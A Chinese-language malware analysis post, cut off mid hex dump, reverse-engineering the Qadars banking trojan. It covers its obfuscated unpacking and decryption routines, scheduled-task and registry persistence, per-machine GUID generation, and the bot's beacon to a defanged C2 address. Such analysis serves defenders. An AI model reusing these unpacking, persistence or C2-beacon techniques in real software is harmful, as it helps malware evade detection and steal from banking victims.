最近,我注意到一个讨论Qadars银行木马的论坛主题,并且在当时,Qadars银行木马在VT(virustotal.com)的检测率非常低(4/56),SHA1:563379a48d876f6c35317bb7551efeb55754123056109ab030d1e796ae1b9c2c。

我觉得它是一个很合适进行深层次技术探究的候选对象,我将我的分析过程分为三个部分:

第一阶段:对恶意的程序流程进行混淆处理;保护并解密主模块。
第二阶段:收集每个系统特有的信息,在系统上确保持久性并运行新的进程。(第三阶段)
第三阶段:与命令和控制(C&C)中心建立通信。

第一阶段

这个阶段包括两个不同的部分。这两部分都用于从检测中保护恶意软件的主模块。该恶意软件是通过执行了下列步骤来实现的:

通过创建“垃圾”代码来混淆恶意软件的程序流程;
通过创建一个结构化异常处理(SEH)的异常来改变程序的控制流程并将控制流程传递给它;
将解密的BLOB数据变为一个新的代码段,并从一个异常中跳到这个新的代码段中;
通过执行一个“彩蛋”找到附加的BLOB数据,这个BLOB数据在解密,解压之后,成为了一个新的PE镜像文件。这个文件就是恶意软件的主模块。

关于第1阶段(异常处理程序)的第一部分的其他详细信息:

· 检索KERNEL32的地址;

· 检索HeapCreate的地址,分配的大小为0×2729的缓冲区。

调用HeapCreate之前的堆栈如下,

012F7A0  00040000   ;HEAP_CREATE_ENABLE_EXECUTE
012F7A4  00002729   ;initial size
012F7A8  00002729   ;max size

在原始文件中取偏移0040C9E8处的BLOB数据,然后复制并排列BLOB数据。

这个BLOB数据被看作一个数组。变形后的数组成为了新的代码段然后把控制流程传递给它。

恶意软件采取的将数组转换到有效代码的步骤是简单位互换基于生成密钥的偏移量进行计算的。该算法如下所示:

1.在堆(heap)中分配缓冲区,然后将BLOB数据复制到该缓冲区中,该缓冲区将被视为一个数组。

2.计算出的偏移量为第一个将被交换的字符:

;Initial key is 0x5A219DBA.
;.text:0041F858 8B 45 14                mov     eax, [ebp+key]
;.text:0041F85B 33 D2                   xor     edx, edx
;.text:0041F85D F7 75 10                div     [ebp+data_size]
;.text:0041F860 89 55 E8                mov     [ebp+reminder], edx

3.本地存储的结果:

;.text:0041FAC5 8B 4D 08                mov     ecx, [ebp+allocated_buffer]
;.text:0041FAC8 03 4D E8                add     ecx, [ebp+reminder]
;.text:0041FACB 8A 11                   mov     dl, [ecx]
;.text:0041FACD 88 55 E4                mov     [ebp+current_char_3], dl

4.计算出的偏移量为第二个要交换的字符,并将其存储在本地。这个字符是从数组的末尾减去已经处理的字符数量得到的:

;.text:0041FC18 8B 55 08                mov     edx, [ebp+allocated_buffer]
;.text:0041FC1B 03 55 FC                add     edx, [ebp+counter]
;.text:0041FC1E 8A 42 FF                mov     al, [edx-1]
;.text:0041FC21 88 45 EC                mov     [ebp+current_char_1], a

5.交换第一个和第二个字符:

;.text:0041FD4D 8B 45 08                mov     eax, [ebp+allocated_buffer]
;.text:0041FD50 03 45 E8                add     eax, [ebp+reminder]
;.text:0041FD53 8A 4D EC                mov     cl, [ebp+current_char_1]
;.text:0041FD56 88 08                   mov     [eax], cl
 
;.text:0041FFCE 8B 45 08                mov     eax, [ebp+allocated_buffer]
;.text:0041FFD1 03 45 FC                add     eax, [ebp+counter]
;.text:0041FFD4 8A 4D E4                mov     cl, [ebp+current_char_3]
;.text:0041FFD7 88 48 FF                mov     [eax-1], cl

例如,前两个字符被交换。交换前的内存为:

00BD0614  00
00BD2728  A6

交换后的内存为:

00BD0614  A6
00BD2728  00

6.计算用于下一次第一个字符被交换时所需要计算的密钥:

;.text:004201CD 8B 55 14                mov     edx, [ebp+key]
;.text:004201D0 C1 EA 19                shr     edx, 19h
;.text:004201D3 89 55 F0                mov     [ebp+new_key], edx
;.text:004203B1 8B 4D 14                mov     ecx, [ebp+key]
;.text:004203B4 C1 E1 07                shl     ecx, 7
;.text:004203B7 89 4D 14                mov     [ebp+key], ecx
;.text:00420680 8B 55 14                mov     edx, [ebp+key]
;.text:00420683 0B 55 F0                or      edx, [ebp+new_key]
;.text:00420686 89 55 14                mov     [ebp+key], edx
;.text:004207FB 8B 55 14                mov     edx, [ebp+key]
;.text:004207FE 2B 55 10                sub     edx, [ebp+data_size]
;.text:00420801 89 55 14                mov     [ebp+key], edx
;.text:00420AD5 8B 45 14                mov     eax, [ebp+key]
;.text:00420AD8 2D D2 02 96 49          sub     eax, 499602D2h
;.text:00420ADD 89 45 14                mov     [ebp+key], eax

跳转到新创建的代码段:

.text:00406447 FF 55 FC                call    [ebp+allocated_buffer]

关于第一阶段的第二部分的更多详细信息(在新创建的代码段部分):

检索API的地址并在运行时立即调用这些API;没有导入表的创建;
定位XOR加密的BOLB数据;
解密BLOB数据并对其进行解压缩;
进行解密,解压缩后的BLOB数据是恶意软件的主要模块。

为了查找BLOB数据,该恶意软件使用了一种类似于在shellcode中使用的“彩蛋”技术的手法。首先,它计算出如下数据:

0012F74C  56 6F FC 5A 83 1A 34 D9  6F 5C 41 73 28 94 EF 13  VonZâ.4+o\As(ön.
0012F75C  31 A8 B9 0B    
1¿¦

恶意软件模块主体的内容被复制到了在堆上分配的缓冲区。前8个字节是恶意软件在可执行文件中搜索的标志。这就是所谓的“蛋”,它被发现在磁盘上的可执行文件的偏移0xE511处。从该文件的尾部开始到头部进行扫描。一旦标记被找到时,恶意软件会计算出被加密的BLOB数据的大小。为了做到这一点,它取了跟在“蛋”后面的4个字节,并且将这个4个字节与上面的BLOB数据中的偏移+0×08处的数据进行异或(XOR)。

接着,该文件中的8个字节和上述BLOB数据(偏移 +0x0C)被用于计算初始的XOR 密钥,计算结果将被用于解密BLOB数据。文件中被加密的数据是从偏移0xE525处开始的;BLOB数据的大小为0xC76A。下面的功能用于BLOB数据的解密:

debug025:00BD0CBE                        
decode_data_to_decompress proc near    
debug025:00BD0CBE
debug025:00BD0CBE                         var_18= dword ptr -18h
debug025:00BD0CBE                         var_14= dword ptr -14h
debug025:00BD0CBE                         var_10= dword ptr -10h
debug025:00BD0CBE                         var_C= dword ptr -0Ch
debug025:00BD0CBE                         var_4= dword ptr -4
debug025:00BD0CBE                         data= dword ptr  8
debug025:00BD0CBE                         size= dword ptr  0Ch
debug025:00BD0CBE                         key= dword ptr  10h
debug025:00BD0CBE
debug025:00BD0CBE 55                      push    ebp
debug025:00BD0CBF 89 E5                   mov     ebp, esp
debug025:00BD0CC1 83 EC 1C                sub     esp, 1Ch
debug025:00BD0CC4 53                      push    ebx
debug025:00BD0CC5 56                      push    esi
debug025:00BD0CC6 57                      push    edi
debug025:00BD0CC7 01 FF                   add     edi, edi
debug025:00BD0CC9 8B 5D 0C                mov     ebx, [ebp+size]
debug025:00BD0CCC F7 D0                   not     eax
debug025:00BD0CCE 42                      inc     edx
debug025:00BD0CCF 09 55 F0                or      [ebp+var_10], edx
debug025:00BD0CD2 83 EB 03                sub     ebx, 3
debug025:00BD0CD5 0F AF F7                imul    esi, edi
debug025:00BD0CD8 81 F1 B8 00 00 00       xor     ecx, 0B8h
debug025:00BD0CDE 8B 75 08                mov     esi, [ebp+data]
debug025:00BD0CE1 87 55 EC                xchg    edx, [ebp+var_14]
debug025:00BD0CE4 21 F2                   and     edx, esi
debug025:00BD0CE6
debug025:00BD0CE6                         loc_BD0CE6:                            
debug025:00BD0CE6 41                      inc     ecx
debug025:00BD0CE7 83 FB 00                cmp     ebx, 0               ; ebx is the counter
debug025:00BD0CEA 74 5C                   jz      short loc_BD0D48
debug025:00BD0CEC 49                      dec     ecx
debug025:00BD0CED 1B 55 F4                sbb     edx, [ebp+var_C]
debug025:00BD0CF0 8B 06                   mov     eax, [esi]
debug025:00BD0CF2 33 4D F4                xor     ecx, [ebp+var_C]
debug025:00BD0CF5 01 C9                   add     ecx, ecx
debug025:00BD0CF7 33 45 10                xor     eax, [ebp+key]
debug025:00BD0CFA 09 DF                   or      edi, ebx
debug025:00BD0CFC 89 06                   mov     [esi], eax
debug025:00BD0CFE 2B 55 EC                sub     edx, [ebp+var_14]
debug025:00BD0D01 F7 DF                   neg     edi
debug025:00BD0D03 49                      dec     ecx
debug025:00BD0D04 8B 45 10                mov     eax, [ebp+key]
debug025:00BD0D07 87 55 E8                xchg    edx, [ebp+var_18]
debug025:00BD0D0A 0F AF FA                imul    edi, edx
debug025:00BD0D0D F7 D7                   not     edi
debug025:00BD0D0F EB 03                   jmp     short loc_BD0D14
 
debug025:00BD0D14
debug025:00BD0D14                         loc_BD0D14:                            
debug025:00BD0D14 C1 C0 07                rol     eax, 7
debug025:00BD0D17 4A                      dec     edx
debug025:00BD0D18 01 F7                   add     edi, esi
debug025:00BD0D1A EB 01                   jmp     short loc_BD0D1D
 
debug025:00BD0D1D
debug025:00BD0D1D                         loc_BD0D1D:                            
debug025:00BD0D1D 2B 45 0C                sub     eax, [ebp+size]
debug025:00BD0D20 2B 55 FC                sub     edx, [ebp+var_4]
debug025:00BD0D23 87 FF                   xchg    edi, edi
debug025:00BD0D25 F7 D7                   not     edi
debug025:00BD0D27 2D D2 02 96 49          sub     eax, 499602D2h
debug025:00BD0D2C 83 EA 06                sub     edx, 6
debug025:00BD0D2F 01 F7                   add     edi, esi
debug025:00BD0D31 89 45 10                mov     [ebp+key], eax
debug025:00BD0D34 81 E2 80 00 00 00       and     edx, 80h
debug025:00BD0D3A 0B 4D E8                or      ecx, [ebp+var_18]
debug025:00BD0D3D 4B                      dec     ebx
debug025:00BD0D3E 11 C7                   adc     edi, eax
debug025:00BD0D40 29 C7                   sub     edi, eax
debug025:00BD0D42 46                      inc     esi
debug025:00BD0D43 0F AF FB                imul    edi, ebx
debug025:00BD0D46 EB 9E                   jmp     short loc_BD0CE6
debug025:00BD0D48                         ;
------------------------------
debug025:00BD0D48
debug025:00BD0D48                         loc_BD0D48:                            
debug025:00BD0D48 87 55 EC                xchg    edx, [ebp+var_14]
debug025:00BD0D4B 29 F3                   sub     ebx, esi
debug025:00BD0D4D 5F                      pop     edi
debug025:00BD0D4E 5E                      pop     esi
debug025:00BD0D4F 5B                      pop     ebx
debug025:00BD0D50 C9                      leave
debug025:00BD0D51 C2 0C 00                retn    0Ch
debug025:00BD0D51                        
decode_data_to_decompress endp

接着,被解密的BLOB数据被解压缩。调用RtlDecompressBuffer前的堆栈如下:

0012F270  00000002                              ;compression
format                                            
;#define COMPRESSION_FORMAT_LZNT1         (0x0002)
0012F274  00C20000 
debug027:unk_C20000                             ;destination
0012F278  00013600                              ;uncompressed size
0012F27C  00C0857D 
debug026:00C0857D                               ;compressed buffer
0012F280  0000C76A                              ;compressed size
0012F284  0012F714 
Stack[00000BBC]:0012F714                        ;final uncompressed size

第二阶段

1.收集有关系统的数据;

2.将自身复制到位于“%AppData%\[random_path]\[random_file_name].exe”中的一个随机命名的文件;

3.建立一个在当前用户下一次登录系统时运行自身的计划任务;

4.在注册表中创建注册表项,并存储AES加密的数据(步骤1中搜集的系统数据);

5.从“%AppData%\[random_path]\[random_file_name].exe”中运行下一阶段的可执行文件。

有一个额外的细节,恶意软件在收集有关系统的数据时,创建了一个有趣的结构。例如,在测试机上,恶意软件创建的结构如下:

00 00 02 00 00 00 06 00  03 3C 80 5E 96 58 91 B6
07 54 A4 00 00 00 03 00  00 00 37 36 34 38 37 2D
33 34 31 2D 38 36 31 39  31 30 33 2D 32 32 30 36
34 00 2C 00 00 00 41 32  32 2D 30 30 30 30 31 00
00 00 00 00 00 00 2C CC  C0 A8 22 31 A6 35 23 98
E5 97 52 11 03 00 00 00  00 00 45 53 07 54 50 6F
04 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  00 00 37 34 34 30 32 00
00 00 00 00 00 00 B8 03  00 00 80 5E 96 58 00 01
00 00 EA 32 00 00 00 00  00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00
00 00 2C 47 6C C7 00 BA  0D F0 AD BA 0D F0 AD BA
 
+0x02   dwNumberOfProcessors (SYSTEM_INFO)
+0x06   wProcessorLevel      (SYSTEM_INFO)
+0x08   wProcessorRevision   (SYSTEM_INFO)
+0x0A   VolumeSerialNumber  
+0x0E   InstallDate "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
+0x12   DigitalProductID "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"

计算上述结构的MD5散列并存储在本地。创建ASCII和Unicode格式化的字符串所表示的MD5散列。例如,在测试机上:

00853D20  39 37 32 39 35 38 41 36  35 38 38 30 42 35 35 41  972958A65880B55A
00853D30  30 45 42 44 35 35 35 39  30 37 38 43 31 37 33 35  0EBD5559078C1735
 
00853E58  39 00 37 00 32 00 39 00  35 00 38 00 41 00 36 00  9.7.2.9.5.8.A.6.
00853E68  35 00 38 00 38 00 30 00  42 00 35 00 35 00 41 00  5.8.8.0.B.5.5.A.
00853E78  30 00 45 00 42 00 44 00  35 00 35 00 35 00 39 00  0.E.B.D.5.5.5.9.
00853E88  30 00 37 00 38 00 43 00  31 00 37 00 33 00 35 00  0.7.8.C.1.7.3.5.

两个MD5散列将和计算机名称连接在一起(#作为分隔符)。然后计算出连接后的字符串的MD5散列。这个MD5散列是一个恶意软件使用的独一无二的GUID。该恶意软件使用了相同的算法,产生了相同的结果,这个结果对于每一个被感染的系统来说是独一无二的。

接下来,恶意软件在“%AppData%”中创建了一个随机命名的路径并将自身复制到该目录中,文件名称是随机命名的可执行文件。例如,测试系统上,该恶意软件创建其自身的副本在下面的位置:

“%AppData%\MfzxAHCb\HQHKWbsv\PMqLMKtj\oPQVNiRgs.exe”

新创建的副本的MD5散列与字符“BOTNET2”存储在一起:

0012F628  8A 15 4F AE 3B 78 B4 8D  B1 71 C4 C9 49 99 E0 C0  è.O«;x¦.¦q-+IÖa+
0012F638  42 4F 54 4E 45 54 32 00  00 00 00 00 00 00 00 00  BOTNET2.........

恶意软件创建的计划任务将在当前用户下次登录系统时运行。这是通过执行以下调用顺序实现的:

1.CoCreateInstance
(creates ITaskScheduler, CLSID {148bd52a-a2ab-11ce-b11f-00aa00530503},
  IID {148bd527-a2ab-11ce-b11f-00aa00530503}).
2.ITaskScheduler::NewWorkItem
(creates ITask, CLSID_CTask {148BD520-A2AB-11CE-B11F-00AA00530503},
  IID_ITask
{148BD524-A2AB-11CE-B11F-00AA00530503}).
3.ITask::SetFlags.
4.ITask:SetAccountInformation.
5.ITask::SetWorkingDirectory.
6.ITask::SetApplicationName.
7.ITask::SetMaxRunTime.
8.ITask::CreateTrigger.
9.ITaskTrigger:SetTrigger.
 ;PTASK_TRIGGER:
 ;Stack[00000F08]:0012E1BC 30 00                   dw 30h     ; cbTriggerSize
 ;Stack[00000F08]:0012E1BE 00 00                   dw 0       ; Reserved
 ...............................
 ;Stack[00000F08]:0012E1D8 04 00 00 00             dd 4       ; rgFlags
 ;Stack[00000F08]:0012E1DC 07 00 00 00             dd 7       ; TASK_EVENT_TRIGGER_AT_LOGON
 ;Stack[00000F08]:0012E1E0 01 00 00 00             dd 1       ; Type
10.ITask::QueryInterface
(CLSID_IPersistFile)
11.IPersistFile::Save.

创建注册表项“HKCU\\Software\\Classes\\CLSID\\{[unique_per_system_guid]}”,用“@”来填充子项“0”和“1”。注册表中的数据是通过AES加密的。注册表将数据传递到了下一阶段。AES的密钥可以从硬编码的数据中获得:

00854028  08 00 99 E3 72 5D A8 0E  FB DF A8 87 42 D4 AA AB  ..Öpr]¿.v¯¿çB+¬½
00854038  DE AD 35 3F 41 B9 80 5D  85 D4 2E A1 00 E6 E1 8C  ¦¡5?A¦Ç]à+.í.µßî
00854048  31 00 01 00 53 C3 00 00  39 37 32 39 35 38 41 36  1...S+.

得出的密钥为:

0012E750  E3 99 00 08 0E A8 5D 72  87 A8 DF FB AB AA D4 42  pÖ...¿]r翯v½¬+B

得到密钥的算法为:

.text:0040EA85 0F B6 79 FE             movzx   edi, byte ptr [ecx-2]
.text:0040EA89 0F B6 59 FF             movzx   ebx, byte ptr [ecx-1]
.text:0040EA8D C1 E7 08                shl     edi, 8
.text:0040EA90 0B FB                   or      edi, ebx
.text:0040EA92 0F B6 19                movzx   ebx, byte ptr [ecx]
.text:0040EA95 C1 E7 08                shl     edi, 8
.text:0040EA98 0B FB                   or      edi, ebx
.text:0040EA9A 0F B6 59 01             movzx   ebx, byte ptr [ecx+1]
.text:0040EA9E C1 E7 08                shl     edi, 8
.text:0040EAA1 0B FB                   or      edi, ebx
.text:0040EAA3 89 3C 96                mov     [esi+edx*4], edi
.text:0040EAA6 42                      inc     edx
.text:0040EAA7 83 C1 04                add     ecx, 4
.text:0040EAAA 83 FA 04                cmp     edx, 4
.text:0040EAAD 7C D6                   jl      short loc_40EA85

接下来,恶意软件运行其位于“%AppData%”目录下的副本:

.text:00403BA1 8D 55 E4                lea     edx, [ebp+var_1C]
.text:00403BA4 52                      push    edx         ; lpProcessInformation
.text:00403BA5 8D 45 8C                lea     eax, [ebp+StartupInfo]
.text:00403BA8 50                      push    eax                        ; lpStartupInfo
.text:00403BA9 53                      push    ebx                        ; lpCurrentDirectory
.text:00403BAA 53                      push    ebx                        ; lpEnvironment
.text:00403BAB 68 00 00 00 04          push    CREATE_DEFAULT_ERROR_MODE  ; dwCreationFlags
.text:00403BB0 53                      push    ebx                        ; bInheritHandles
.text:00403BB1 53                      push    ebx                        ; lpThreadAttributes
.text:00403BB2 53                      push    ebx                       ; lpProcessAttributes
.text:00403BB3 68 F0 19 41 00          push    offset CommandLine         ; lpCommandLine
.text:00403BB8 8D 8D 79 FC FF FF       lea     ecx, [ebp+MultiByteStr]
.text:00403BBE 51                      push    ecx                        ; lpApplicationName
                                         ;"%AppData%\MfzxAHCb\HQHKWbsv\PMqLMKtj\oPQVNiRgs.exe".
.text:00403BBF 89 5D E4                mov     [ebp+var_1C], ebx
.text:00403BC2 89 5D E8                mov     [ebp+var_18], ebx
.text:00403BC5 89 5D EC                mov     [ebp+var_14], ebx
.text:00403BC8 89 5D F0                mov     [ebp+var_10], ebx
.text:00403BCB C7 45 8C 44 00 00 00    mov     [ebp+StartupInfo.cb], 44h
.text:00403BD2 FF 15 60 10 41 00       call    ds:CreateProcessA

第三阶段

这个阶段恶意软件将创建一个初始化C&C请求的PAYLOAD,并将PAYLOAD发送。第三阶段中PAYLOAD的创建和恶意软件的逻辑的详细信息如下所述。

恶意软件会计算一些有关计算机的特定数据(如在第二阶段所述的),并将结果与保存在:

“KEY_CURRENT_USER\Software\Classes\CLSID\{[computer_unique_guid]}”

中的数据进行比较。如果相等,则恶意软件执行到下一个阶段。

存储在注册表中的数据“HKEY_CURRENT_USER\ Software\Classes\CLSID\{[computer_unique_guid]}”列举如下。

例如,在测试机上,数据的大小是0×170,存储在注册表中的加密数据为:

00854B78  5F 1D B6 44 5B 87 A7 2E  74 81 51 7F 34 CA CC 9D  _.¦D[çº.t.Q.4-¦.
00854B88  FC 74 61 04 C2 61 9E 99  E5 A7 64 02 8E D2 79 05  nta.-aPÖsºd.Ä-y.
00854B98  68 41 E1 33 96 C7 B7 EB  83 35 07 43 47 1A A8 74  hAß3û¦+dâ5.CG.¿t
00854BA8  F7 CC B0 27 73 7A 7E 63  60 D7 5B AB 43 1B 41 65  ˜¦¦'sz~c`+[½C.Ae
00854BB8  7F D1 A6 8B 85 B1 DE E4  B2 B5 A7 7E 74 B6 44 14  .-ªïদS¦¦º~t¦D.
00854BC8  B5 B8 D3 56 D3 0A 72 CC  62 BF 64 F4 3F 4D F1 D8  ¦++V+.r¦b+d(?M±+
00854BD8  84 2B 45 B8 DB BA 22 C2  B5 95 34 FA 69 85 A6 01  ä+E+¦¦"-¦ò4·iàª.
00854BE8  02 80 29 90 60 A9 11 13  C3 77 31 6E 06 23 BA 3A  .Ç).`¬..+w1n.#¦:
00854BF8  64 D5 78 FA 2C E3 E5 3A  2B 18 4C 1F 74 31 B3 25  d+x·,ps:+.L.t1¦%
00854C08  BF 78 2C 45 4F 71 F6 F1  B4 5D 16 E3 CD 40 60 B8  +x,EOq÷±¦].p-@`+
00854C18  D9 7B CE AF 87 4F 88 75  FB CC DB 8F AA 33 CF 46  +{+»çOêuv¦¦.¬3-F
00854C28  3D 5D 7C 46 85 B5 92 33  B7 B8 E8 E9 5D 88 17 31  =]|Fà¦Æ3++FT]ê.1
00854C38  46 76 F4 EA 05 D2 71 04  55 B0 BF B3 A1 E9 9C BF  Fv(O.-q.U¦+¦íT£+
00854C48  E7 E6 5A 51 C5 F1 4A DF  CF 46 8B 4F 54 57 57 4F  tµZQ+±J¯-FïOTWWO
00854C58  6E EF 29 C1 BC C0 32 14  B5 3D 84 4C 87 7A 73 BA  nn)-++2.¦=äLçzs¦
00854C68  40 B2 06 B7 42 85 7C 44  65 1E EE 69 2F 7E 37 B8  @¦.+Bà|De.ei/~7+
00854C78  E5 A6 CC 26 06 9D 32 B3  71 7E D0 13 45 CF 01 D9  sª¦&..2¦q~-.E-.+
00854C88  77 DA 8C 8E 90 3D 0E D1  F7 FE B1 24 99 20 89 C7  w+îÄ.=.-˜¦¦$Ö ë¦
00854C98  41 1D DA 62 66 08 AF 48  C9 F8 5C F8 3D 83 7E 92  A.+bf.»H+°\°=â~Æ
00854CA8  BF 8C 18 49 CA 81 CE 77  48 93 04 A3 B1 9D 07 60  +î.I-.+wHô.ú¦..`
00854CB8  5B CE A7 0D 23 09 B6 8D  7E 2E B9 B9 1A 73 3E 84  [+º.#.¦.~.¦¦.s>ä
00854CC8  21 9C EF 83 41 66 72 E1  61 4A 4D 62 4E 0E FF FE  !£nâAfrßaJMbN. ¦
00854CD8  C9 F2 15 3B BC 38 11 A2  2B 0C 35 CF F4 EB 35 E5  +=.;+8.ó+.5-(d5s

解密后的数据为:

00854E90  00 00 00 00 67 01 00 00  A6 69 46 69 72 73 74 54  ....g...ªiFirstT
00854EA0  69 6D 65 01 6E 6D 6F 64  75 6C 65 73 46 65 74 63  ime.nmodulesFetc
00854EB0  68 65 64 00 66 48 61 73  68 50 45 50 8A 15 4F AE  hed.fHashPEPè.O«
00854EC0  3B 78 B4 8D B1 71 C4 C9  49 99 E0 C0 6C 73 7A 42  ;x¦.¦q-+IÖa+lszB
00854ED0  6F 74 6E 65 74 4E 61 6D  65 67 42 4F 54 4E 45 54  otnetNamegBOTNET
00854EE0  32 6D 73 7A 49 6E 73 74  61 6C 6C 50 61 74 68 78  2mszInstallPathx
00854EF0  55 43 3A 5C 44 6F 63 75  6D 65 6E 74 73 20 61 6E  UC:\Documents an
00854F00  64 20 53 65 74 74 69 6E  67 73 5C 69 5C 41 70 70  d Settings\i\App
00854F10  6C 69 63 61 74 69 6F 6E  20 44 61 74 61 5C 4D 66  lication Data\Mf
00854F20  7A 78 41 48 43 62 5C 48  51 48 4B 57 62 73 76 5C  zxAHCb\HQHKWbsv\
00854F30  50 4D 71 4C 4D 4B 74 6A  5C 6F 50 51 56 4E 69 52  PMqLMKtj\oPQVNiR
00854F40  67 73 2E 65 78 65 6C 77  49 6E 73 74 61 6C 6C 50  gs.exelwInstallP
00854F50  61 74 68 58 AA 43 00 3A  00 5C 00 44 00 6F 00 63  athX¬C.:.\.D.o.c
00854F60  00 75 00 6D 00 65 00 6E  00 74 00 73 00 20 00 61  .u.m.e.n.t.s. .a
00854F70  00 6E 00 64 00 20 00 53  00 65 00 74 00 74 00 69  .n.d. .S.e.t.t.i
00854F80  00 6E 00 67 00 73 00 5C  00 69 00 5C 00 41 00 70  .n.g.s.\.i.\.A.p
00854F90  00 70 00 6C 00 69 00 63  00 61 00 74 00 69 00 6F  .p.l.i.c.a.t.i.o
00854FA0  00 6E 00 20 00 44 00 61  00 74 00 61 00 5C 00 4D  .n. .D.a.t.a.\.M
00854FB0  00 66 00 7A 00 78 00 41  00 48 00 43 00 62 00 5C  .f.z.x.A.H.C.b.\
00854FC0  00 48 00 51 00 48 00 4B  00 57 00 62 00 73 00 76  .H.Q.H.K.W.b.s.v
00854FD0  00 5C 00 50 00 4D 00 71  00 4C 00 4D 00 4B 00 74  .\.P.M.q.L.M.K.t
00854FE0  00 6A 00 5C 00 6F 00 50  00 51 00 56 00 4E 00 69  .j.\.o.P.Q.V.N.i
00854FF0  00 52 00 67 00 73 00 2E  00 65 00 78 00 65 00 00  .R.g.s...e.x.e..
 
bytes 0 - 3 zeroes,
bytes 4 - 7 the
length of the data
bytes 8 - ? data
itself.

接着,数据被符号化:

00854D08  01 00 00 00 00 00 00 00  8A 15 4F AE 3B 78 B4 8D  ........è.O«;x¦.
00854D18  B1 71 C4 C9 49 99 E0 C0  42 4F 54 4E 45 54 32 00  ¦q-+IÖa+BOTNET2.
............................................................................
00854E18  00 00 00 00 00 00 00 00  00 00 00 00 00 43 3A 5C  .............C:\
00854E28  44 6F 63 75 6D 65 6E 74  73 20 61 6E 64 20 53 65  Documents and Se
00854E38  74 74 69 6E 67 73 5C 69  5C 41 70 70 6C 69 63 61  ttings\i\Applica
00854E48  74 69 6F 6E 20 44 61 74  61 5C 4D 66 7A 78 41 48  tion Data\MfzxAH
00854E58  43 62 5C 48 51 48 4B 57  62 73 76 5C 50 4D 71 4C  Cb\HQHKWbsv\PMqL
00854E68  4D 4B 74 6A 5C 6F 50 51  56 4E 69 52 67 73 2E 65  MKtj\oPQVNiRgs.e
00854E78  78 65 00 00 00 00 00 00  00 00 00 00 00 00 00 00  xe..............
............................................................................
00854F28  00 00 43 00 3A 00 5C 00  44 00 6F 00 63 00 75 00  ..C.:.\.D.o.c.u.
00854F38  6D 00 65 00 6E 00 74 00  73 00 20 00 61 00 6E 00  m.e.n.t.s. .a.n.
00854F48  64 00 20 00 53 00 65 00  74 00 74 00 69 00 6E 00  d. .S.e.t.t.i.n.
00854F58  67 00 73 00 5C 00 69 00  5C 00 41 00 70 00 70 00  g.s.\.i.\.A.p.p.
00854F68  6C 00 69 00 63 00 61 00  74 00 69 00 6F 00 6E 00  l.i.c.a.t.i.o.n.
00854F78  20 00 44 00 61 00 74 00  61 00 5C 00 4D 00 66 00   .D.a.t.a.\.M.f.
00854F88  7A 00 78 00 41 00 48 00  43 00 62 00 5C 00 48 00  z.x.A.H.C.b.\.H.
00854F98  51 00 48 00 4B 00 57 00  62 00 73 00 76 00 5C 00  Q.H.K.W.b.s.v.\.
00854FA8  50 00 4D 00 71 00 4C 00  4D 00 4B 00 74 00 6A 00  P.M.q.L.M.K.t.j.
00854FB8  5C 00 6F 00 50 00 51 00  56 00 4E 00 69 00 52 00  \.o.P.Q.V.N.i.R.
00854FC8  67 00 73 00 2E 00 65 00  78 00 65 00 00 00 00 00  g.s...e.x.e.....

对存储在“HKEY_CURRENT_USER\Software\Classes\CLSID\{[computer_unique_guid]}\1″中的数据进行相同的操作。

域名名称和常用的请求页面被包含在一个有趣的结构中并被存储在本地的一个类似于数组的结构中:

00855EF8  90 67 85 00 D0 67 85 00  10 68 85 00 48 68 85 00  .gà.-gà..hà.Hhà.
00855F08  2F 6E 65 74 72 65 70 6F  72 74 2E 70 68 70 00 00  /netreport.php..

接着,将调用下面这个有趣函数:

.text:0040FB1B 50                      push    eax                  ;void *
.text:0040FB1C 51                      push    ecx                  ;int
;db 'I-C957A26036A04#972958A65880B55A0EBD5559078C1735',0
    ;this is computer_name#md5hash as described in the dump.txt
.text:0040FB1D 57                      push    edi                  ;int
;'hxxp://soft.kcssoft.biz/netreport.php',0
.text:0040FB1E E8 FD FE FF FF          call    c2

恶意软件在这个函数中做的第一件事情就是创建请求C&C服务器的PAYLOAD。

例如,在测试机上,纯文本的PAYLOAD(长度为0x123)的第一部分为:

00856A90  82 A7 69 6C 70 73 7A 42  6F 74 49 44 78 30 49 2D  éºilpszBotIDx0I-
00856AA0  43 39 35 37 41 32 36 30  33 36 41 30 34 23 39 37  C957A26036A04#97
00856AB0  32 39 35 38 41 36 35 38  38 30 42 35 35 41 30 45  2958A65880B55A0E
00856AC0  42 44 35 35 35 39 30 37  38 43 31 37 33 35 6B 6C  BD5559078C1735kl
00856AD0  70 73 7A 56 65 72 73 69  6F 6E 67 32 2E 30 2E 30  pszVersiong2.0.0
00856AE0  2E 30 68 6D 61 69 6E 54  79 70 65 00 67 73 75 62  .0hmainType.gsub
00856AF0  54 79 70 65 00 67 42 69  74 6E 65 73 73 18 20 6B  Type.gBitness. k
00856B00  64 77 54 69 6D 65 73 74  61 6D 70 00 64 44 61 74  dwTimestamp.dDat
00856B10  61 A2 66 4C 65 6E 67 74  68 00 66 6C 70 44 61 74  aófLength.flpDat
00856B20  61 40 A7 69 6C 70 73 7A  42 6F 74 49 44 78 30 49  a@ºilpszBotIDx0I
00856B30  2D 43 39 35 37 41 32 36  30 33 36 41 30 34 23 39  -C957A26036A04#9
00856B40  37 32 39 35 38 41 36 35  38 38 30 42 35 35 41 30  72958A65880B55A0
00856B50  45 42 44 35 35 35 39 30  37&nb
        
源链接

Hacking more

...